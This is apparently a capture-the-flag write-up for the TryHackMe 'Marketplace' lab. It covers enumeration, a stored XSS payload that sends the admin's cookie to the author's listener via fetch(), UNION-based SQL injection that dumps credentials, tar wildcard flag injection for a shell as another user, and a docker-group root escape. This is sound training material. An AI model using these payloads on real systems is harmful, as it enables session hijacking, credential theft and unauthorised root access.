This is the medium box on TryHackMe website. It requires the some knowledge about docker and webapp pentesting (more specific is XSS). Lets start
For beginning I put the ip in /etc/hosts for convinient

10.10.124.194 marketplace.thm

Enumeration

Port Scanning

Let’s begin to enumerate with basic port scanning to see which services is up.

nmap -v -p- marketplace.thm
...
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
32768/tcp open  filenet-tms

We can see there are 3 services is running. Let do a deeper scan to see what exactly is these services:

nmap -A -p 22,80,32768 marketplace.thm
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
|   256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_  256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
80/tcp    open  http    nginx 1.19.2
| http-robots.txt: 1 disallowed entry 
|_/admin
|_http-server-header: nginx/1.19.2
|_http-title: The Marketplace
32768/tcp open  http    Node.js (Express middleware)
| http-robots.txt: 1 disallowed entry 
|_/admin
|_http-title: The Marketplace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 2.6.32 (86%), Linux 2.6.32 - 3.1 (86%), Linux 2.6.39 - 3.2 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 5 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So we can there are 3 services is running on this port:

  • Port 22: ssh
  • Port 80 and Port 32768: a websever. It look a lot like each other.

I will start with a webserver on port 80 first

Port 80

As a first look, it is an e-comerce website. It has a login and signup function. If you click inside a product, you can see it has function contact to author and report to admin. So our first impression is this site has 4 main function. I will start with find sub-directory to see whether us find any new function

Finding subdirectories

I won’t brute force at the begging. As a result from nmap, there is a robots.txt folder. Let’s a look in it

User-Agent: *
Disallow: /admin

So we find another site, it could be the site for the administrator. We will comeback to it later. Let brute force for more directories

gobuster dir -u http://marketplace.thm -w /usr/share/wordlists/dirb/common.txt -t 20
...
/.htpasswd            (Status: 403) [Size: 153]
/.htaccess            (Status: 403) [Size: 153]
/.hta                 (Status: 403) [Size: 153]
/ADMIN                (Status: 403) [Size: 392]
/admin                (Status: 403) [Size: 392]
/Admin                (Status: 403) [Size: 392]
/images               (Status: 301) [Size: 179] [--> /images/]
/Login                (Status: 200) [Size: 857]               
/login                (Status: 200) [Size: 857]               
/messages             (Status: 302) [Size: 28] [--> /login]   
/new                  (Status: 302) [Size: 28] [--> /login]   
/robots.txt           (Status: 200) [Size: 31]                
/signup               (Status: 200) [Size: 667]               
/stylesheets          (Status: 301) [Size: 189] [--> /stylesheets/]

There aren’t anything new here. Most of the site require us to login so I move on with the login feature.

/login and /signup

Firstly, I try some basic SQLi to see does it vulnerable to SQLi
alt text
But what we recieve is Invalid password. So let’s try to sign up for a user and try to login to see can we found anything new.
For the signup, i try to create an user with username is admin to see can we access to admin account (just trying). After that I try to login again with the new created user
alt text
We see there is a new feuture called New listing here. We will test it out later but now i try to access to admin page

/admin

With my new created user with the username, i have some hope that we can access to admin dashboard, but …
alt text
So my hope is down. I start to look inside the cookie, to see can we change something here. The cookie look like a JWT token so go on jwt.io to decode it
alt text
You can see there is a field admin is false means we are not the admin. I try to change to it to true but the problem we don’t know the secret key for the hash. So i try to leave the secret key empty (it can bypass in some case) and cookie back the cookie. But the result is i was logged out (cause the wrong screcet for the hash in jwt). So it time to move on the the next page.

/new

Here it allow us to add new product to be sell. The first thing in my mind is we could exploit some XSS here so I go back to the item page to see what is the HTML structure of the post

<div id="item">
  <a href="/item/1"><h1>Dell Laptop</h1></a>
  <img src="/images/867a9d1a2edc2995dca4b13de50fc545.jpg" />
  <div>Published by michael</div>
  <div>Description: <br /> Good as new. </div>
<div>

So our title is cover in an a tag and the description is inside a div so the description look more promising. I will try on the description with the payload <script>alert(1)</script> and here is the result
alt text
We successfully to run our script.

Exploit

Access to admin dashboard

Now we know it is vulnerable to XSS, so what? Remember there is a function that we can report the post to admin. So if admin recieves the report, they will access to that post. We can leverage that to run our script to steal the cookie form the admin. With that cookie we login as admin account. I will using this script inside the description of new post

<script>fetch("http://10.17.7.60?query=" + document.cookie)</script>

And activate a python server on my machine python3 -m http.server 80. Then just create a new post and click on Report listing to admins and here is the results
alt text
And now we got the cookie from the admin. Replace our cookie with it and we can see the admin interface.
alt text

Remote access

Now we can access to the admin pannel, I try to click on 1 user and see the query is /admin?user=1 so I think can we try some sqli here. I input the payload is /admin?user=1' and got this error

Error: ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

So it it definitely vulnerable with SQL. I try to exploit it with sqlmap but it is not working so i exploit it manuely with Burpsuite Repeater. I try these steps:

  • First i try this payload 1 order by 4 and when i reach the number 5, it show an error so this table has 4 columns
  • Then use this payload
    1 union select GROUP_CONCAT(schema_name),null,null,null from information_schema.schemata
    
  • Now you can see the it has 2 schemas, I will use the schema marketplace to move on with the payload
    1 union select GROUP_CONCAT(table_name),null,null,null from information_schema.tables where table_schema = "marketplace"
    
  • Now use can see it has 3 tables, let’s find columns name of table users
    1 union select GROUP_CONCAT(column_name),null,null,null from information_schema.columns where table_schema = "marketplace" and table_name = "users"
    
  • Now we have the column names and tables name, start to extract data from that table
    1 union select group_concat(username, " | ", password), null,null,null from users
    
  • Now we got these credentials alt text
    Now I try to crack it with hashcat but it run forever. In the meanwhile, I use the same sqli techique like before to read the messages table, and i found these text:
    1 | 3 | Hello! An automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password. 
    Your new password is: xxxxxxxxxxxx
    

    It is from user 1 to user 3, base on data from users table, we know the user with id 3 is jake. So it must be his credentials. Now we can SSH into jake.

Get michael account

First thing first, I will check what is Jake sudo right.

jake@the-marketplace:~$ sudo -l
Matching Defaults entries for jake on the-marketplace:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on the-marketplace:
    (michael) NOPASSWD: /opt/backups/backup.sh

So our Jake has the right to run /opt/backups/backup.sh as michael. Let read the content of that file

#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *

It run the tar command all the files inside /opt/backups into /opt/backups/backup.tar. They look normal but i try to google it. At the begginning, I don’t know what to search but I think * is ussally called wildcard so I search for tar wild card and I got this article. It says that we make file name like a flag of a command tar so when tar file * will become tar file --flag .... Let’s try it out:

echo "/bin/bash" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

First I create a file shell.sh and put the right 777 for it (so other user can execute it). Then i create 2 file name --checkpoint-action=exec=sh shell.sh and --checkpoint=1 that will make our tar command look like

tar cf /opt/backups/backup.tar --checkpoint=1 --checkpoint-action=exec=sh shell.sh

These flag will run our script inside shell.sh. Let execute it

jake@the-marketplace:/opt/backups$ sudo -u michael /opt/backups/backup.sh
Backing up files...
tar: backup.tar: file is the archive; not dumped
michael@the-marketplace:/opt/backups$ 

Now we success to micheal

Get root

I try to check michael sudo right but it requite password so I try to look at michael id

michael@the-marketplace:/opt/backups$ id
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)

Notice that he has inside group docker so he has the right to interact with the docker on this machine. Let see which images does we have

michael@the-marketplace:/opt/backups$ docker image ls
REPOSITORY                   TAG                 IMAGE ID            CREATED             SIZE
themarketplace_marketplace   latest              6e3d8ac63c27        10 months ago       2.16GB
nginx                        latest              4bb46517cac3        11 months ago       133MB
node                         lts-buster          9c4cc2688584        11 months ago       886MB
mysql                        latest              0d64f46acfd1        11 months ago       544MB
alpine                       latest              a24bb4013296        14 months ago       5.57MB

So there is another Linux distro is alpine is running inside this docker container. Now I will using the technique which i use to exploti other box has docker. I will try to mount a folder on the machine to a docker image. And then we can access to this docker image as root so that we can read the mounted root folder
To mount you can use docker volume (link1, link2) like in the image below
alt text
We can use this command to mount:

docker run -it --rm -v /:/mnt/root alpine:latest

Let break down it:

  • docker run: to connect to container and run flag allow us to run docker command on that container
  • -it: tells docker that it should open an interactive container instance (mean allow us to interact with the container like a shell)
  • --rm: remove the mount on the image after exit
  • -v /:/mnt/root alpine:latest: using docker volume with flag -v to bind mount the folder / on the real machine to folder /mnt/root on the image alpine with tag latest

Now we can test our command

michael@the-marketplace:/opt/backups$ docker run -it --rm -v /:/mnt/root alpine:latest
/ # cd /mnt
/mnt # ls 
root
/mnt # cd root
/mnt/root # ls 
bin             home            lost+found      root            sys             vmlinuz.old
boot            initrd.img      media           run             tmp
cdrom           initrd.img.old  mnt             sbin            usr
dev             lib             opt             srv             var
etc             lib64           proc            swap.img        vmlinuz
/mnt/root # cd root
/mnt/root/root # cat root.txt 
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxx}
/mnt/root/root # 

And this is the end